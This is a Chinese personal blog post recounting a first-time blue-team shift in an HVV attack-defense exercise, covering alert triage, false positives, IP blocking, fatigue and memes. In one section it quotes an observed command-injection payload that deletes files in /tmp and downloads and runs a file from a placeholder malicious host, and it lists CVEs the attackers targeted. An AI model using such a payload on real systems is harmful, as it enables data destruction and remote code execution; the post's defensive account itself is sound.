目录
前言
序幕
开局
入世
破妄
终章
前言
今年第一次参加HVV行动。去当蓝队专家(cai niao)。大概是六月末,领导说今年的HVV派我去参加。毕竟是第一次参加,因此虽然可能就没办法放假了,而且也没有额外工资,但能涨涨实战经验,体会一下攻防演练是干啥,遂欣然接受。据参加过HVV的朋友所说,HVV看起来高大上,实际上当蓝队就是当点鼠标的猴子,当时我没感觉,结束之后感觉他的形容过于真实。之前还听同事说HVV每年都有很多梗很多瓜,估计会很有意思。
大概在HVV开始的前一周,我被要求先去工作地点看一下设备,结果由于我们那家厂商的设备还没上,基本上啥也每看到。带队组长还和我说,要装的厉害一点,不能让甲方觉得咱不行。当时感觉还挺慌,不过去了那边之后发现隔壁知名安全厂商的兄弟好像也懵的很,而且感觉比较年轻,遂放松下来。
说起来今年也奇怪,HVV一致拖着,原来说五月,后来又说七月,然后又说推迟,正当我以为起码要等大运会结束一周左右才开始的时候,突然在8.7通知说要求我8.8到北京,8.9正式开始攻防演练。在去之前我可谓是一问三不知,要看啥设备(哪家厂商?有哪些功能?流量/日志?),有哪些资产(简要拓扑?内网分配情况?),每天日程啥安排(什么时候换班?甲方还有哪些要求?)。再加上带队组长一时半会还赶不到北京,我得先去顶第一班,感觉压力不小,管他呢,只能硬着头皮上了。感觉今年时间安排真是主打一个措手不及。
手忙脚乱中,速速买了从老家到北京的高铁票。没歇两天,放假计划算是彻底泡汤,我现在只希望能顺利一些,别再出什么幺蛾子。大概在8.8号,整个微步社区和许多安全圈的推送都开始有各种梗了。我只想说,非常真实。下面这个是看到的贴子,纯属娱乐,大家切勿当真。
序幕
8月9日早上七点,我就已经到达了工作现场。客户还没来,最后一个人在门口等了半个多小时。大概七点四十,我来到了自己值守的设备前。现场还是比较炫酷的,不过由于不能拍照,我给大家大概形容一下,最前面有一个号称态势感知的大屏幕,蓝色的背景,各种图表贼拉炫酷(实际上那个屏幕对我们来说也没怎么用到),围绕着态势感知大屏幕有两圈桌椅,桌子上放着好多显示器,整个现场好似一个微缩迷你版的火箭发射基地。至于我的工位,在最里面的摸鱼位置,一个转椅的面前有两块显示屏。旁边是甲方的安全部门人员,除了我的单位之外,现场还有两家知名安全厂商,一起参加这次HVV的值守。
跟甲方客户简单沟通了几句之后,我便开始研究起自己要值守的安全设备上。我负责值守的是某知名安全企业的全流量分析设备。初看上去非常高级,有各种功能,可以根据流量特征进行告警、查看具体的流量请求与响应,其中的告警信息还可以根据五元组信息和时间、威胁类型等角度进行聚合,还有在线沙箱,以及对webshell的分析。感觉应该是很高级(后面发现误报超级多,然后才发现这个设备的垃圾之处,下文会讲)。
HVV正式开始就是8月9日早上,我感觉略有慌乱,不过还是挺期待的。不过8日晚上就已经有很多测试的攻击了,我看了一下,好家伙,一个小时十几万条告警,告警信息把内存都干爆了一次,且不说这些告警真实与否,如果正式开始之后还是这么搞,那告警信息就如同洪水一般,任何一条告警迅速就会被淹没,根本没办法细看排查。此时的我外表镇定,内心略慌,不过还是装出淡定的样子查看了一下信息,好在这个设备可以对威胁类型进行聚合,按照攻击的次数数量进行排序,就可以看到哪类告警是最多的。发现最多的告警是弱口令!好家伙,一小时90%以上的告警都是弱口令,简单排查发现这大多都是HTTP互联网账号的弱口令,估计是这个流量设备对于口令的要求比较高,把互联网账号的许多密码都判断为弱口令了。和客户甲方沟通之后,又排查了一些误报,把这些无关的告警都白名单加白了。再看了一下,现在一小时大概也就几千条告警,先就这样吧。
对部分告警加白之后,时间已到,HVV要正式开始了。
开局
我们每个人拿到了一张打印的纸,上面印着内网ip的一些情况,主要涉及到一些分中心和协办单位的内网地址,也有个别外网的地址,告诉我们这些都是业务所在地,不要误封这些ip。我本以为HVV正式开始前会有个什么仪式之类的,估计还有领导讲话,结果并没有,HVV就在悄无声息中开始了。甲方领导就坐在我们周围,和我们一起值班轮岗。和隔壁的运维安全人员聊了几句,感觉甲方的人都还不错,挺平易近人的。
HVV开始之后,甲方大致说了一下常见的安全设备的误报,正式进入工作。开局就是一大堆告警,我发现有关目录遍历和文件包含的告警非常多,点开查看详细信息,许多访问的请求中都有类似../../这样的字符(有进行编码),而但凡出现../这样的字符串,就会被流量分析设备判定为目录遍历/文件包含。问了一下运维,人家说这种基本上都是误报,因为业务开发的时候就把许多现需要访问的路径设成了相对路径,难免会出现访问上级目录的情况,于是在我误封了几个ip之后,就把这类告警加白了(真有攻击咋办?问题不大,如果通过../访问类似/etc/passwd这种文件,告警会提示敏感文件读取,不会因为加白文件包含就看不到告警)。
开局由于对业务不熟悉,对这个流量分析设备也是第一次见,本着宁可错杀绝不放过的原则,我又封了一大堆ip(毕竟误封顶多被客户说两句要求解封,被打穿的话估计就惨了),后来慢慢排查发现有好多误封,又慢慢解封了。说起来这个流量分析设备也挺无语的,我本以为他非常告警,用了什么AI技术判断攻击类型产生告警,后来发现,基本上就是字符串匹配!说白了就是有个规则库,规则库里面有各种匹配信息,可能有一些正则,但凡流量的特征判定匹配成功,就会告诉你攻击来了!比如HTML标签就都会告诉你,这是XSS,有SQL语句的关键字就会说,SQL注入攻击来了!第一天还发现了很多JNDI注入攻击的告警,后来发现是业务中存在上传PDF的功能,请求体中的证书中有ldap://这样的字符,被判定为jndi注入了。经过一系列的排查,大致确定了一些业务信息和误报,看到告警终于不慌,总算不至于手忙脚乱了。
并没有什么零食!差旅也不包,甚至吃饭也是完全自费,在甲方单位食堂吃,一顿二三十(付费上班了属于是),不过人家确实提供了一些方便面自热米饭啥的,也可以简单吃点。
我们理论上是每人值守8小时换班,结果由于我们单位此时带队组长临时没赶到,于是第一天只有我和另外一个同事在,估计要每人值守12小时,再加上第一天提前去配置环境,加白告警,我第一天基本上值守了14个小时,毕竟是第一天,我感觉自己状态还可以。晚上九点同事来换班,于是我回酒店了,倒头就睡。后来同事告诉我,半夜流量分析设备的内存又崩了,连夜联系厂商来修补。
入世
同事下班的时候显得很暴躁,毕竟熬了一宿,可能确实熬到凌晨就感觉度秒如年,只希望早点下班。我还和同事讨论,咱是12小时轮岗还是8小时轮岗,我建议12小时,因为可以少跑几趟、减少上下班通勤时间。同事却表示不以为然,建议我不要现在建议,等我先熬个夜班再讨论到底8小时还是12小时。我觉得他说得有道理,于是熬了一个夜班,感觉快ger了,确实12小时夜班太顶,还是8小时轮岗吧。
后面一段时间基本上按部就班,rt的攻击基本上是一波又一波,闲着的时候是真的无聊,坐在屏幕前无所发呆,看看时间,距离下班还有四五个小时,真tm长呀。忙的时候更是头大,一分钟就几百条告警,ip都封不过来,平常谈笑风生的运维也紧盯屏幕,生怕有资产失陷,现场全是键盘和鼠标的敲击声。开始我还点开告警详细信息分析一波再判断是否是误报,后来实在是看不过来了,只能根据经验火速封禁ip。也尝试了批量导出告警封禁,但是难免会有误报,这是万不得已的做法。
HVV期间也暴露了一大堆0day,每天都有好多威胁情报,第一天就爆出一个WPS的RCE,感觉还真是挺猛的,挖0day的真是大佬,每天看着这么多0day就怕被打穿。因此我们也会每天升级规则库,同时ban掉一些总部发来的恶意ip名单。不过开局的几天虽然也有很多漏洞利用的尝试,但还是主要以扫描(有nmap,zgrab,masscan等等)、webshell上传与扫描、敏感文件访问、SQL注入、命令注入等等,命令注入类似下面这样的形式,其中的空格用${IFS}这样的形式替代:
GET /bin/xxx/ cd /tmp; rm -rf *; wget http://恶意ip/恶意文件; chmod 777 恶意文件; ./恶意文件
总之这几天状态还可以,每天都会被rt打,我还可以研究研究人家企图利用哪些漏洞,试试能不能复现,相对不太忙的时候就刷刷微步社区,看看有啥情报或者有啥吃瓜的新闻。最近HVV期间社区还搞了个金句评选活动,写的好的金句作者喜提可乐6罐。可乐不重要,关键是快乐哈哈。找了天才写的金句给大家鉴赏一下吧。
还有一些吃瓜的新闻,不过吃瓜也要谨慎,小心被rt钓鱼:
有兄弟打开pdf文件直接弹计算器的,懂得都懂,还是谨慎为上。
破妄
中间几天感觉已经没有HVV的新鲜劲了,连上一周班之后人已经有点懵,虽然告警不算太多,一天也就几千条,大部分还都是误报,基本上可以合理摸鱼。但rt还在时不时搞事情,偶尔还会来波大的,除了当猴子的工作之外,我还拿了纸笔记录了这两天发生的事情以及rt常常利用的漏洞,比如(只根据告警记录了部分,可能有些问题):
漏洞名称 | CVE编号 |
Shellshock相关漏洞 | |
struct2相关各种RCE | S2-045 S2-033 S2-016 S2-046 |
Weblogic相关rce 权限绕过、SSRF | CVE-2014-4210(ssrf) CVE-2016-0638 CVE-2017-3506 CVE-2017-10271 CVE-2018-2628 CVE-2018-3245 CVE-2019-2725 CVE-2019-2729 CVE-2020-14882 CVE-2020-14883 |
Apache shiro相关RCE | shiro-550 |
log4j2相关漏洞 | |
BIG-IP/BIG-IQ RCE | CVE-2021-22986 |
ThinkPHP 2.x任意代码执行、 ThinkPHP RCE | |
Spring RCE | CVE-2022-22965 |
Jenkins RCE | CVE-2019-1003005 |
当然rt实际漏洞利用比这里列出的多得多,此处仅仅列举了攻击次数比较多的几个,有空回头复现写写博客,读者如有兴趣可以去vulhub看看相关漏洞。近期还看了个吃瓜新闻,说是某一家单位突然彻底断网了,安全设备都没办法上线,以为是遭受了什么攻击,把许多领导都招来了,最后发现是某个初级把192.168的ip给封了,可能这就是卧底吧。听到这个新闻时我还不以为然,结果第二天就听见隔壁厂商的老哥被骂了,说他上一班轮岗的兄弟竟然尝试封禁内网ip,要求赶紧排查有啥误封。我还奇怪这种低级错误也会犯嘛?后来发现,由于那天凌晨有一波大的攻击,批量封禁ip时来不及排查,于是出现了这种低级错误的表现,还好运维那边有白名单,哪怕我们请求封禁,也不会导致白名单上的ip被封。甲方牛逼!
近期工作是8小时换班,我下午上班,半夜下班。因此差不多有一个上午是空闲时间,同事白天倒头就睡,我也不好意思打扰他,于是我干脆上午到周围的公园散散步,偷得浮生半日闲。正当我怀有闲情逸致欣赏荷塘日色的之时,值班组长给我打来电话,说他有点急事,需要我再替他顶一班,我虽然客客气气的答应,却也立马再无心情欣赏美景,看来下一个即将到来的24小时中,我要上16小时班了。当日半夜下班后没回酒店,毕竟几个小时后又要上班,直接在客户单位提供的行军床上住了一晚,具体环境我就不给大家看了。由于房间没有窗帘且靠东侧,早上五点我就被炫目刺眼的太阳光晃醒了,六点中保洁上班门口一直在恐龙抗狼,整的我虽然很困,但也睡不着了。干脆再早点去上班。
终章
熬到最后几天,虽然告警越来越少,但人的精神状态越来越差,毕竟连续付费上班快半个月了,稍微有点顶不住。如果用个梗图,那就像下面这样:
全流量设备的告警也出现了几个攻击成功的告警,把我吓坏了,还好最后排查发现是业务的误报,还有内部人员进行poc复现测试的情况,没有实际rt成功的。这里又想到另外一个梗图:
我想说这个图很真实,完全有可能就因为一个弱口令满盘皆输,一定不要掉以轻心。8.23最后一天除了爆了个瓜外,微步社区还搞了个倒计时,感觉还挺炫酷的,大家都很想下班了。
最后再来个煽情:
终于结束了,还好没被打穿!HVV结束了,按道理来讲我应该总结总结。但我现在只想放假。祝读者们天天开心! 如果问我这次HVV当bt有什么经验和收获,我想说,懂得了身心健康最重要!
本文纯属个人瞎聊,梗图源于网络,读者切勿当真,图一乐就好。